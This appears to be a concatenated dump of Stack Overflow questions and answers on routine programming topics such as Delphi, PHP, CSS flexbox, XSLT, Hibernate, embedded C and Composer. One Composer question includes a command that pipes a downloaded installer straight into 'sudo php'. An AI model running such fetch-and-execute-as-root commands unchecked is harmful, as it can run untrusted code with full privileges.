30763362	0	Get list of process <p>I need to get the list of process with their PID. I know how to get the PID by its handle and viceversa, but the problem is that I'm not the one who create the process, so I don't have the handle nor the PID. I didn't find exactly information on how to do it on Internet.</p> <p>Is there some function that returns the list of process with their PID?</p> <p>I mean something like get all the PIDs of 'chrome.exe', for example.</p> <p>Both VCL and Firemonkey solutions are appreciated.</p>
38630923	0	 <p>Use:</p> <pre><code>Ext.Date.format(timestampDate ,'Y-m-d H:i:s') </code></pre> <ul> <li><code>Y</code> - A full numeric representation of a year, 4 digits.</li> <li><code>m</code> - Numeric representation of a month, with leading zeros.</li> <li><code>H</code> - 24-hour format of an hour with leading zeros.</li> <li><code>i</code> - Minutes, with leading zeros</li> <li><code>s</code> - Seconds, with leading zeros</li> </ul> <p><a href="http://docs.sencha.com/extjs/6.0.2-classic/Ext.Date.html" rel="nofollow">http://docs.sencha.com/extjs/6.0.2-classic/Ext.Date.html</a></p>
22833197	0	 <pre><code>&lt;?php $classreport = array( array( 'name' =&gt; 'Vick', 'std' =&gt; 'A', 'marks' =&gt; array(10, 20, 30, 40) ), array( 'name' =&gt; 'Josh', 'std' =&gt; 'B', 'marks' =&gt; array(20, 40) ), ); $csv = 'name, std, mark'."\r\n"; foreach($classreport as $student) { $markrows = 0; foreach ($student['marks'] as $marks) { if ($markrows == 0) { $csv .= sprintf('%s, %s, %d', $student['name'], $student['std'], $marks)."\r\n"; } else { $csv .= sprintf(', , %d', $marks)."\r\n"; $markrows++; } } } ?&gt; </code></pre> <p>Edit: Actually, I just realized it's easier to just add these things to arrays and then use the <code>csv</code> functions from PHP. Just consider this as pseudo-code to help you on your way.</p>
5192448	0	 <p>As many as you want. After one commits the file and a second updates the changes the file gets merged. If the first user altered something that the second also altered, the update will result in a conflict and the user will have see what's different from the local file to the one the first user altered and has to manually choose how the file should end up <a href="http://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-dug-conflicts.html" rel="nofollow">see solving conflicts in tortoise</a>.</p> <p>If the users modify different parts of the file then there's no issue to it and the file is merged on update.</p>
16760650	0	 <p>Elements lose their <em>flex item</em> status if they are absolutely positioned. In order to do what you're suggesting, you need to absolutely position the flex container:</p> <p><a href="http://codepen.io/cimmanon/pen/prFdm" rel="nofollow">http://codepen.io/cimmanon/pen/prFdm</a></p> <pre><code>.foo { display: -webkit-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -webkit-box-pack: center; -webkit-box-align: center; position: absolute; top: 0; bottom: 0; left: 0; right: 0; } .bar { margin: auto; } &lt;div class="foo"&gt; &lt;div class="bar"&gt;Bar&lt;/div&gt; &lt;/div&gt; </code></pre> <p>Note that I've omitted the moz 2009 Flexbox prefixes because absolute positioning breaks flex containers in Firefox. It should <em>just work</em> in Firefox versions with the standard Flexbox properties.</p>
13839187	0	 <p>you forgot the 3th argument in your the IF function and other syntax stuff :-)</p> <p>why you make you script not with where? like this:</p> <pre><code>UPDATE saving s INNER JOIN time t ON t.ID = 'input' AND t.User = s.User SET s.balance = s.balance + t.balance * t.interest WHERE t.currency_TYPE = 'RMB'; </code></pre> <p>you will update just records with currency_type rmb!</p> <p>OR </p> <pre><code>UPDATE saving s INNER JOIN time t ON t.ID = 'input' AND t.User = s.User SET s.balance = (t.currency_TYPE = 'RMB', s.balance + t.balance * t.interest, 0); </code></pre>
39857165	0	F5 responsive tables: horizontal scroll is not visible <p>I used <a href="http://foundation.zurb.com/responsive-tables.html" rel="nofollow noreferrer">Foundation 5 Responsive Table</a>. But I have this:</p> <p><a href="https://i.stack.imgur.com/PIdBB.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/PIdBB.png" alt="enter image description here"></a></p> <p>If I understood examples, in the bottom of the 1st columns should be horizontal scroll (for mobile). But I can't move it. I can move content only in the right side.</p> <p>How to fix this problem?</p> <p>My code:</p> <pre><code>&lt;h3&gt;&lt;?php print t('Organization’s contact person'); ?&gt;&lt;/h3&gt; &lt;table class="responsive" summary="&lt;?php print t('Organization’s contact person'); ?&gt;"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th scope="column"&gt;&lt;?php print t('Contact person'); ?&gt;&lt;/th&gt; &lt;th scope="column"&gt;&lt;?php print t('Country'); ?&gt;&lt;/th&gt; &lt;th scope="column"&gt;&lt;?php print t('City'); ?&gt;&lt;/th&gt; &lt;th scope="column"&gt;&lt;?php print t('Street'); ?&gt;&lt;/th&gt; &lt;th scope="column"&gt;&lt;?php print t('Email'); ?&gt;&lt;/th&gt; &lt;th scope="column"&gt;&lt;?php print t('Phone'); ?&gt;&lt;/th&gt; &lt;th scope="column"&gt;&lt;?php print t('Other'); ?&gt;&lt;/th&gt; &lt;th scope="column"&gt;&lt;?php print t('Image'); ?&gt;&lt;/th&gt; &lt;th scope="column"&gt;&lt;?php print t('Body'); ?&gt;&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td scope="row"&gt; &lt;?php print render($content['field_dir_surname']); ?&gt; &lt;?php print render($content['field_dir_name']); ?&gt; &lt;?php print render($content['field_dir_second_name']); ?&gt; &lt;/td&gt; &lt;td scope="row"&gt; &lt;?php isset($content['field_country_list']) ? print render($content['field_country_list']) : print '-'; ?&gt; &lt;/td&gt; &lt;td scope="row"&gt; &lt;?php isset($content['field_city']) ? print render($content['field_city']) : print '-'; ?&gt; &lt;/td&gt; &lt;td scope="row"&gt; &lt;?php print render($content['field_street']); ?&gt; &lt;?php print render($content['field_building_no']); ?&gt; &lt;/td&gt; &lt;td scope="row"&gt; &lt;?php isset($content['field_email']) ? print render($content['field_email']) : print '-'; ?&gt; &lt;/td&gt; &lt;td scope="row"&gt; &lt;?php isset($form['field_phone']) ? print render($form['field_phone']) : print '-'; ?&gt; &lt;/td&gt; &lt;td scope="row"&gt; &lt;?php isset($form['field_other']) ? print render($form['field_other']) : print '-'; ?&gt; &lt;/td&gt; &lt;td scope="row"&gt; &lt;?php isset($content['field_image']) ? print render($content['field_image']) : print '-'; ?&gt; &lt;/td&gt; &lt;td scope="row"&gt; &lt;?php isset($content['body']) ? print render($content['body']) : print '-'; ?&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;div&gt;&lt;?php print render($content['field_share_content']); ?&gt;&lt;/div&gt; </code></pre>
10347265	0	HTML5 local storage JSON multiple objects <p>Does anyone know, if it's possible to make a local storage with multiple objects in it when I'm doing a loop in javascript?</p> <p>At the moment my code looks like this: </p> <pre><code>var albums = ''; var album_list = ''; $.each(data, function(i,item){ var name = item.name; albums += '&lt;li&gt;'+item.name+'&lt;/li&gt;'; var album_content = {name: item.name, uid: 1}; var album_content = album_content+','; album_list += album_content; }); var album_list = '['+album_list+']'; localStorage.setItem("albums", JSON.stringify(album_list)); var albums_l = JSON.parse(localStorage.getItem("albums")); $.each(albums_l, function(i,item){ console.log(item.name); }); </code></pre> <p>But that gives me an error. Anyone have a better solution for this, so I just have one localstorage and all the data in that?</p>
25993553	0	 <p>You should use DateTime class method Subtract as:</p> <pre><code>var date2 = DateTime.Parse(DateTime.Now.ToShortDateString() + " 10:00"); System.TimeSpan diff1 = date2.Subtract(DateTime.Now); </code></pre>
24332673	0	 <p>Try increasing the "outer_window" option in config/initializers/kaminari_config.rb. Example:</p> <pre><code>Kaminari.configure do |config| config.outer_window = 12 end </code></pre>
40596737	0	 <p>If I understand your desired output correctly, you can use <a href="https://docs.scipy.org/doc/numpy/reference/generated/numpy.reshape.html" rel="nofollow noreferrer"><code>numpy.reshape</code></a></p> <pre><code>&gt;&gt;&gt; spp = np.asarray(splist, dt) &gt;&gt;&gt; spp array([(2002, 10.502535211267606), (2003, 10.214794520547946), (2004, 9.811578947368423), (2015, 9.093658536585366), (2016, 9.244272537935139)], dtype=[('f0', '&lt;i4'), ('f1', '&lt;f8')]) &gt;&gt;&gt; np.reshape(spp, (spp.size, 1)) array([[(2002, 10.502535211267606)], [(2003, 10.214794520547946)], [(2004, 9.811578947368423)], [(2015, 9.093658536585366)], [(2016, 9.244272537935139)]], dtype=[('f0', '&lt;i4'), ('f1', '&lt;f8')]) </code></pre>
11695710	0	How to copy namespace and attributes of root node with XSLT? <p>I'm new to XSL/XML and I need help with XSL transformation.</p> <p>I have XML which starts like this</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;Invoice xmlns="urn:oasis:names:specification:ubl:schema:xsd:Invoice-2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:oasis:names:specification:ubl:schema:xsd:Invoice-2 ../ws/Invoice.xsd" xmlns:cac="urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2" xmlns:cbc="urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2" xmlns:sac="urn:oasis:names:specification:ubl:schema:xsd:SignatureAggregateComponents-2" xmlns:ext="urn:oasis:names:specification:ubl:schema:xsd:CommonExtensionComponents-2" xmlns:sig="urn:oasis:names:specification:ubl:schema:xsd:CommonSignatureComponents-2"&gt; &lt;ext:UBLExtensions&gt; &lt;ext:UBLExtension&gt; &lt;cbc:ID&gt;INVOICE1&lt;/cbc:ID&gt; &lt;cbc:Name&gt;InvoiceIssuePlaceData&lt;/cbc:Name&gt; &lt;ext:ExtensionAgencyURI&gt;urn:invoice:hr:issueplace&lt;/ext:ExtensionAgencyURI&gt; &lt;ext:ExtensionContent&gt; &lt;ext:InvoiceIssuePlace&gt;London&lt;/ext:InvoiceIssuePlace&gt; &lt;/ext:ExtensionContent&gt; &lt;/ext:UBLExtension&gt; &lt;/ext:UBLExtensions&gt; &lt;cbc:UBLVersionID&gt;2.1&lt;/cbc:UBLVersionID&gt; &lt;cbc:ID&gt;01 1206-2406-568&lt;/cbc:ID&gt; &lt;/Invoice&gt; </code></pre> <p>I want to create elements for all attributes, and to create element between &lt;_> tags for the value of node which has attribute.</p> <p>Here is the xsl...</p> <pre><code>&lt;?xml version='1.0' encoding='utf-8' ?&gt; &lt;xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns="urn:oasis:names:specification:ubl:schema:xsd:Invoice-2" xmlns:cac="urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2" xmlns:cbc="urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2" xmlns:ext="urn:oasis:names:specification:ubl:schema:xsd:CommonExtensionComponents-2" xmlns:sig="urn:oasis:names:specification:ubl:schema:xsd:CommonSignatureComponents-2" xmlns:sac="urn:oasis:names:specification:ubl:schema:xsd:SignatureAggregateComponents-2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:oasis:names:specification:ubl:schema:xsd:Invoice-2 ../ws/Invoice.xsd" version="1.0"&gt; &lt;xsl:output method="xml"/&gt; &lt;xsl:template match="/"&gt; &lt;xsl:apply-templates/&gt; &lt;/xsl:template&gt; &lt;xsl:template match="@*|*|text()"&gt; &lt;xsl:copy&gt; &lt;xsl:apply-templates select="@*|*|text()"/&gt; &lt;/xsl:copy&gt; &lt;/xsl:template&gt; &lt;xsl:template match="*[@*]"&gt; &lt;xsl:element name="{name()}"&gt; &lt;xsl:if test="count(@*)&gt;=count(node())"&gt; &lt;_&gt; &lt;xsl:value-of select="."/&gt; &lt;/_&gt; &lt;/xsl:if&gt; &lt;xsl:for-each select="@*"&gt; &lt;xsl:element name="{name()}"&gt; &lt;xsl:value-of select="."/&gt; &lt;/xsl:element&gt; &lt;/xsl:for-each&gt; &lt;xsl:if test="count(node())&gt;count(@*)"&gt; &lt;xsl:apply-templates select="*|text()"/&gt; &lt;/xsl:if&gt; &lt;/xsl:element&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre> <p>The problem is that this transformation doesn't transforms root node (Invoice) as I would need. I'm getting:</p> <pre><code>&lt;?xml version="1.0"?&gt; &lt;Invoice xmlns="urn:oasis:names:specification:ubl:schema:xsd:Invoice-2"&gt; &lt;xsi:schemaLocation xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt;urn:oasis:names:specification:ubl:schema:xsd:Invoice-2 ../ws/Invoice.xsd&lt;/xsi:schemaLocation&gt; </code></pre> <p>No other attributes in Invoice and as new elements. Only xsi:schemaLocation, but with namespace defined on the level of that node.</p> <p>What I'm doing wrong?</p> <p>Thanks.</p>
37307891	0	 <p>Just wanted to add, the fiddle, and code from the question worked almost perfectly for me, you have to make sure you take into account any padding though when resetting width/height.</p> <pre><code>el.css({ ... width: (el.width()+LEFT_PADDING+RIGHT_PADDING)/parent.width()*100+"%", height: (el.height()+TOP_PADDING+BOTTOM_PADDING)/parent.height()*100+"%" }); </code></pre>
1828093	0	 <p>forget skype api, send the sms to directly to the sms email address of the phone, most/all carriars provide 2125551212@cingularme.com, or @vtext.com (those two domains are AT&amp;T and verizon)</p>
8851373	0	 <p>Yes, I think your thoughts are wrong. Your method signature for an event handler includes arguments that you would not need in other contexts. Why not structure as follows:</p> <pre><code>private void ToggleSwitch_Unchecked(object sender, RoutedEventArgs e) { DoSomething() } private void DoSomething() { // ... } </code></pre> <p>You can then execute <code>DoSomething</code> whenever you like!</p>
26381925	0	 <p>'12.10.13_file' as a filename, does have '13_file' as it's file extension. At least regarding the file system. </p> <p>But, instead of finding the last . yourself, use <a href="http://docs.python.org/library/os.path.html#os.path.splitext" rel="nofollow">os.path.splitext</a>:</p> <pre><code>import os fileName, fileExtension = os.path.splitext('/path/yourfile.ext') # Results in: # fileName = '/path/yourfile' # fileExtension = '.ext' </code></pre> <p>If you want to exclude certain extensions, you could blacklist those after you've used the above.</p>
39247334	0	 <p>This is <strong>not</strong> officially supported but...</p> <p>What about using <code>aync</code>/<code>await</code> if you are feeling adventurous and happy to use babel.</p> <pre><code>async function foo() { const res1 = await Redis.getAsync("boo") const res2 = await Redis.getAsync(res1) } </code></pre>
11377776	0	 <p>If you looking for some copy - paste solution, i foudn this code :</p> <pre><code> function countryCityFromIP($ipAddr) { //function to find country and city from IP address //Developed by Roshan Bhattarai http://roshanbh.com.np //verify the IP address for the ip2long($ipAddr)== -1 || ip2long($ipAddr) === false ? trigger_error("Invalid IP", E_USER_ERROR) : ""; $ipDetail=array(); //initialize a blank array //get the XML result from hostip.info $xml = file_get_contents("http://api.hostip.info/?ip=".$ipAddr); //get the city name inside the node &lt;gml:name&gt; and &lt;/gml:name&gt; preg_match("@&lt;Hostip&gt;(\s)*&lt;gml:name&gt;(.*?)&lt;/gml:name&gt;@si",$xml,$match); //assing the city name to the array $ipDetail['city']=$match[2]; //get the country name inside the node &lt;countryName&gt; and &lt;/countryName&gt; preg_match("@&lt;countryName&gt;(.*?)&lt;/countryName&gt;@si",$xml,$matches); //assign the country name to the $ipDetail array $ipDetail['country']=$matches[1]; //get the country name inside the node &lt;countryName&gt; and &lt;/countryName&gt; preg_match("@&lt;countryAbbrev&gt;(.*?)&lt;/countryAbbrev&gt;@si",$xml,$cc_match); $ipDetail['country_code']=$cc_match[1]; //assing the country code to array //return the array containing city, country and country code return $ipDetail; } </code></pre> <p>Hope this helps somebody.</p>
17754899	0	 <p>Its been some time since I 've last worked with Hibernate and the problem is of a difficult nature so I will just describe various options:</p> <ul> <li><p>Since your <code>Trace</code> object has a <code>Cascade.All</code> option shouldn't it be enough to just add the <code>TraceEvent</code> on the set and call <code>session.save(trace)</code>? As it is now, my impression is that when the session closes it will try to save the <code>Trace</code> object. Alternatively avoid modifying the set. Just save the <code>TraceEvent</code>. You don't return <code>Trace</code> to be used anywere so there is no point in modifying it. Next time it will be used, it will probably be loaded from the database. All the above behaviour might depend on your configuration but it might worth taking a look.</p></li> <li><p>Do you use some sort of hibernate cache? Could it be that it happens that a <code>Trace</code> object might not be the most recent version? </p></li> <li><p>How <code>TraceEvent</code> is created? Could it be that this object is detached (loaded in a previous request and re-used now?) It seems rather unlikely but please check.</p></li> <li><p>This seems like a function that could be called from many places (i.e. to record a user's action). Is it possible that one of those other places are using the same session and possibly modifying it?</p></li> <li><p>Assuming that it is called from many places, were you able from your logs to link the error with some specific business functionality (e.g. when the user clicks that link/button etc)?</p></li> <li><p>If all else fail why don't you try to add an <code>EventListener</code> or an <code>Interceptor</code> on persist event next time you will update your production environment (I understand that you cannot replicate this error easily). It would be a simple one that would catch <code>NonUniqueObjectException</code> it could print additional log info, and then just re-throw</p></li> </ul>
10675573	0	Executing interactive shell commands in Java <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/10407308/redirect-stdin-and-stdout-in-java">Redirect stdin and stdout in Java</a> </p> </blockquote> <p>I know how to execute shell commands in Java but how to do it so my application can write to its input and read from its output. </p>
5991414	0	 <pre><code>output = rs.getString("column");// if data is null `output` would be null, so there is no chance of NPE unless `rs` is `null` if(output == null){// if you fetched null value then initialize output with blank string output= ""; } </code></pre>
39848380	0	Composer won't run globally <p>Using macOS Sierra and trying to install Composer globally.</p> <p>I've followed all these instructions: <a href="http://stackoverflow.com/questions/11333230/how-to-run-composer-from-anywhere">How to run composer from anywhere?</a> and none of them work.</p> <p>Starting afresh I've done this:</p> <ol> <li><p>Terminal > In my home directory (<code>$ cd ~</code>) </p></li> <li><p><code>curl -sS <a href="https://getcomposer.org/installer" rel="nofollow">https://getcomposer.org/installer</a> | sudo php -- --install-dir=/usr/local/bin --filename=composer</code></p></li> <li><p>Reported as a successful installation. Message is: <b>Composer successfully installed to: /usr/local/bin/composer </b></p></li> <li><p><code>$ composer -v -bash: /usr/local/bin/composer/: Not a directory</code></p></li> </ol> <p>When I navigate to <code>/usr/local/bin</code> I can see composer, and it is indeed the executable rather than a directory:</p> <pre><code>$ cd /usr/local/bin $ ls -l -rwxr-xr-x 1 root wheel 1704783 4 Oct 10:07 composer </code></pre> <p>How can I get this to run globally? </p> <p>Checked my path and it looks ok?</p> <pre><code>$ echo $PATH /usr/local/php5/bin:/usr/local/php5/bin:/usr/local/bin: /usr/bin:/bin:/usr/sbin:/sbin </code></pre>
3035191	0	 <p>One thing to note is that you can do <code>sizeof</code> on the type itself and not just on a variable:</p> <pre><code>// Check if the pointer size of a generic data pointer is different // than the pointer size of a function if (sizeof(void *) != sizeof(int (*)())) { ... } </code></pre>
16933647	0	Pausing CSS Slide with -webkit-animation-play-state:paused; not working <p>I have the following code:</p> <pre><code> .picTransition .item { position: absolute; left: 0; right: 0; opacity: 0; -webkit-animation: picTransition 56s linear infinite; -moz-animation: picTransition 56s linear infinite; -ms-animation: picTransition 56s linear infinite; animation: picTransition 56s linear infinite; } .picTransition.paused{ -webkit-animation-play-state:paused; -moz-animation-play-state:paused; -o-animation-play-state:paused; animation-play-state:paused; } .picTransition .item:nth-child(2) { -webkit-animation-delay: 14s; -moz-animation-delay: 14s; -ms-animation-delay: 14s; animation-delay: 14s; } .picTransition .item:nth-child(3) { -webkit-animation-delay: 28s; -moz-animation-delay: 28s; -ms-animation-delay: 28s; animation-delay: 28s; } .picTransition .item:nth-child(4) { -webkit-animation-delay: 42s; -moz-animation-delay: 42s; -ms-animation-delay: 42s; animation-delay: 42s; } </code></pre> <p>I am making a mistake on the how to pause the slides. I have used the animation-play-state: paused, but it does not work. I can use the jquery function, but I really want to try and get this to work in css only. Am I screwing up on the parent child relation? Or is this timing sequence not supported or messing with the pause issue? Perhaps I need to do a hover type pause and build a new div for that? I know I am making a simple mistake.</p>
26935923	0	 <p>Merge the two insert into single insert like this</p> <pre><code>INSERT INTO @EventValueResultSet(....) SELECT .... .... FROM dbo.EventValue EV WITH (NOLOCK)) INNER JOIN dbo.DataRun_ DR WITH (NOLOCK) ON EV.dataRunId = DR.Id AND DR.PersonId = @PersonId WHERE PhysioCurrentDataTime BETWEEN @blockStartTime AND @endTime OR ( ( CurrentDataTime &lt; @blockStartTime ) AND ( EventEndTime = 0 OR EventEndTime &gt;= @blockStartTime ) ) </code></pre>
5018958	0	 <p>I don't have a real answer myself, but your question reminded me of this post:</p> <blockquote> <p><a href="http://stackoverflow.com/questions/4964344/selenium-doesnt-work-with-cucumber-capybara-out-of-the-box-macosx">Selenium doesn't work with Cucumber/Capybara (out of the box) - MacOSX</a></p> </blockquote> <p>Where the questioner shows how he used ruby-debug to figure out why a missing dependency was helping selenium fail to open the browser. </p> <p>Hope this helps!</p>
22771957	1	python subprocess sends backslash before a quote <p>I have a string, which is a framed command that should be executed by in command line</p> <p>cmdToExecute = "TRAPTOOL -a STRING "ABC" -o STRING 'XYZ'"</p> <p>I am considering the string to have the entire command that should be triggered from command prompt. If you take a closer look at the string cmdToExecute, you can see the option o with value XYZ enclosed in SINGLE QUOTE. There is a reason that this needs to be given in single quote orelse my tool TRAPTOOL will not be able to process the command.</p> <p>I am using subprocess.Popen to execute the entire command. Before executing my command in a shell, I am printing the content</p> <pre><code>print "Cmd to be exectued: %r" % cmdToExecute myProcess = subprocess.Popen(cmdToExecute, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False) (stdOut, stdErr) = myProcess.communicate() </code></pre> <p>The output of the above command is, Cmd to be executed: TRAPTOOL -a STRING "ABC" -o \'XYZ\'.</p> <p>You can see that the output shows a BACKWARD SLASH added automatically while printing. Actually, the \ is not there in the string, which I tested using a regex. But, when the script is run on my box, the TRAPTOOL truncates the part of the string XYZ on the receiving server. I manually copy pasted the print output and tried sending it, I saw the same error on the receiving server. However, when I removed the backward slash, it sent the trap without any truncation.</p> <ol> <li>Can anyone say why this happens?</li> <li>Is there anyway where we can see what command is actually executed in subprocess.Popen?</li> <li>Is there any other way I can execute my command other that subprocess.Popen that might solve this problem?</li> </ol>
1328739	0	 <p>There are examples of usage Openlayers in Wicket. Did you try this: <a href="https://wicket-stuff.svn.sourceforge.net/svnroot/wicket-stuff/trunk/wicketstuff-core/openlayers-parent/openlayers-examples/src/main/java/org/wicketstuff/openlayers/MapUsingWFSGetFeaturePage.java" rel="nofollow noreferrer">https://wicket-stuff.svn.sourceforge.net/svnroot/wicket-stuff/trunk/wicketstuff-core/openlayers-parent/openlayers-examples/src/main/java/org/wicketstuff/openlayers/MapUsingWFSGetFeaturePage.java</a></p> <p>?</p>
14548106	0	Using the file name captured with the html browse button in javascript <p>I am trying to create a form where I can upload demographic information such as name, etc. as well as upload jpg image files. I cannot figure out how to catch the file the user chooses from the browse button. Where is the file name stored? How can I access it for the upload? How can I access it to assign it as a variable eg: </p> <pre><code>var theFileName; function() if (filename !=null) { //manipulate the variable }; else { //something else}; </code></pre> <p>I am new to JavaScript and trying to teach myself with web sources and books and cannot seem to find an answer. In addition to an answer to this question, can anyone suggest a good web source for further information on this subject? The ultimate goal is to be able to upload the info and files with PHP into a database so it can be recalled on another page but a different user. </p>
28686099	0	Why NOP/few extra lines of code/optimization of pointer aliasing helps? [Fujitsu MB90F543 MCU C code] <p>I am trying to fix an bug found in a mature program for Fujitsu MB90F543. The program works for nearly 10 years so far, but it was discovered, that under some special circumstances it fails to do two things at it's very beginning. One of them is crucial.</p> <p>After low and high level initialization (ports, pins, peripherials, IRQ handlers) configuration data is read over SPI from EEPROM and status LEDs are turned on for a moment (to turn them a data is send over SPI to a LED driver). When those special circumstances occur first and only first function invoking just a few EEPROM reads fails and additionally a few of the LEDs that should, don't turn on.</p> <p>The program is written in C and compiled using Softune v30L32. Surprisingly it is sufficient to add single __asm(" NOP ") in low level hardware init to make the program work as expected under mentioned circumstances. It is sufficient to turn off 'Control optimization of pointer aliasing' in Optimization settings. Adding just a few lines of code in various places helps too.</p> <p>I have compared (DIFFed) ASM listings of compiled program for a version with and without __asm(" NOP ") and with both aforementioned optimizer settings and they all look just fine.</p> <p>The only warning Softune compiler has been printing for years during compilation is as follows:</p> <blockquote> <p>*** W1372L: The section is placed outside the RAM area or the I/O area (IOXTND)</p> </blockquote> <p>I do realize it's rather general question, but maybe someone who has a bigger picture will be able to point out possible cause. </p> <p>Have you got an idea what may cause such a weird behaviour? How to locate the bug and fix it?</p> <p>During the initialization a few long (about 20ms) delay loops are used. They don't help although they were increased from about 2ms, yet single NOP in any line of the hardware initialization function and even before or after the function helps.</p> <p>Both the wait loops works. I have checked it using an oscilloscope. (I have added LED turn on before and off after).</p> <p>I have checked timming hypothesis by slowing down SPI clock from 1MHz to 500kHz. It does not change anything. Slowing down to 250kHz makes watchdog resets, as some parts of the code execute too long (>25ms).</p> <p>One more thing. I have observed that adding local variables in any source file sometimes makes the problem disappear or reappear. The same concerns initializing uninitialized local variables. Adding a few extra lines of a code in any of the files helps or reveals the problem.</p> <pre><code>void main(void) { watchdog_init(); // waiting for power supply to stabilize wait; // about 45ms hardware_init(); clear_watchdog(); application_init(); clear_watchdog(); wait; // about 20ms test_LED(); {...} } void hardware_init (void) { __asm("NOP"); // how it comes it helps? - it may be in any line of the function io_init(); // ports initialization clk_init(); timer_init(); adc_init(); spi_init(); LED_init(); spi_start(); key_driver_init(); can_init(); irq_init(); // set IRQ priorities and global IRQ enable } </code></pre>
23219898	0	 <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"&gt; &lt;/script&gt; &lt;script&gt; $(document).ready(function(){ $("#hide").click(function(){ $("p").hide(); }); $("#show").click(function(){ $("p").show(); }); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt;If you click on the "Hide" button, I will disappear.&lt;/p&gt; &lt;button id="hide"&gt;Hide&lt;/button&gt; &lt;button id="show"&gt;Show&lt;/button&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
20697027	0	 <p>I suppose you have in Gemfile</p> <pre><code>gem 'sprockets', '&gt;= 2.2.1' gem 'tilt', '2.0.0' </code></pre> <p>is <code>tilt</code> version 2.0.0 critical important? If it possible to downgrade it you can do following.</p> <p>change in Gemfile</p> <pre><code>gem 'tilt', '1.4.1' # the previous version http://rubygems.org/gems/tilt </code></pre> <p>run</p> <pre><code>bundle update tilt </code></pre> <p>After this you can remove tilt version from Gemfile</p>
21623242	0	 <p>execute following commands (with root or sudoers privilege)</p> <pre><code>cd /etc/yum.repos.d ##Moving to a certain directory wget http://people.centos.org/hughesjr/chromium/6/chromium-el6.repo ##Download the chromium package yum install chromium ##Install the chromium packages in the mentioned directory </code></pre>
18305658	0	 <p>If you follow this tutorial it should work: </p> <p><a href="http://sfmlcoder.wordpress.com/2011/08/16/building-sfml-2-0-with-make-for-gcc/" rel="nofollow">http://sfmlcoder.wordpress.com/2011/08/16/building-sfml-2-0-with-make-for-gcc/</a></p> <p>then put the sfml 2 folder with all the dependencies inside of your /usr/include/ folder and compile with <code>g++ main.o -o main -lsfml-graphics -lsfml-window -lsfml-system</code> and run with with <code>./main</code> it should work perfectly. I actually setup a key mapping in vim that compiles using that command and then runs it and its works flawlessly for me.</p>
19695545	0	The entity type [xxx] is not part of the model for the current context <blockquote> <p>Blockquote</p> </blockquote> <p>I been going at this problem for a few days now. I'm trying to create a db connection using Visual Studio 2010 MVC2 EF 6.0. I can connect to the DB using the server explorer. </p> <p>Here is what I done so far:</p> <ol> <li>Created a Model: ModelEntities.edmx (connects to a SQL Server DB)</li> </ol> <p><strike> 2. Created a Model for the table I'm trying to access: Table.cs ( has all the public members)</p> <pre><code>public class Quickfix { public int FIX_ID { get; set; } public string NAME { get; set; } public string TYPE { get; set; } public string DESCRIPTION { get; set; } } </code></pre> <ol> <li><p>Created a DAL folder and added my context to it: (ModelEntitesContext.cs )</p> <p>using ServiceDesk_Solution.Models;</p> <p>namespace ServiceDesk_Solution.DAL{</p> <pre><code> public class ModelEntitiesContext : DbContext { public ModelEntitiesContext() : base("ModelEntities") { } public DbSet&lt;Quickfix&gt; Quickfixs { get; set; } } } </code></pre> <p></strike></p></li> <li><p>I created a controller for my View: (Called my controller DBController.cs)</p> <p>public class DBController : Controller { // // GET: /DB/</p> <pre><code>&lt;strike&gt;ModelEntitiesContext db = new ModelEntitiesContext ();&lt;/strike&gt; ModelEntities db = new ModelEntities(); public ActionResult DB() { return View(db.Quickfix.ToList();); } </code></pre> <p>}</p></li> <li><p>Finally I create a strong view using my Model <strike>(DB.aspx)</strike> ModelEntities.Quickfix <strike>and this is when I get the context error (see error and stack trace bellow)</strike></p></li> <li><p>My config file:</p> <p>add name="ModelEntities" connectionString="metadata=res://<em>/Models.CSCEntities.csdl| res://</em>/Models.ModelEntities.ssdl| res://*/Models.ModelEntities.msl; provider=System.Data.SqlClient; provider connection string=&quot; data source=devsql;initial catalog=Model; persist security info=True;user id=user;password=password; multipleactiveresultsets=True; App=EntityFramework&quot;" providerName="System.Data.EntityClient"</p></li> </ol> <p><strong>No more error</strong></p> <p><strike>Error Message:</p> <pre><code>The entity type Quickfix is not part of the model for the current context. </code></pre> <p>Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. </p> <p>Exception Details: System.InvalidOperationException: The entity type Quickfix is not part of the model for the current context.</p> <pre><code>Source Error: Line 14: public ActionResult DB() Line 15: { Line 16: db.Quickfix.ToList(); Line 17: return View(); Line 18: } Source File: ***_Solution\Controllers\DBController.cs Line: 16 Stack Trace: [InvalidOperationException: The entity type Quickfix is not part of the model for the current context.] System.Data.Entity.Internal.InternalContext.UpdateEntitySetMappingsForType(Type entityType) +191 System.Data.Entity.Internal.InternalContext.GetEntitySetAndBaseTypeForType(Type entityType) +46 System.Data.Entity.Internal.Linq.InternalSet`1.Initialize() +125 System.Data.Entity.Internal.Linq.InternalSet`1.GetEnumerator() +33 System.Data.Entity.Infrastructure.DbQuery`1.System.Collections.Generic.IEnumerable&lt;TResult&gt;.GetEnumerator() +100 System.Collections.Generic.List`1..ctor(IEnumerable`1 collection) +315 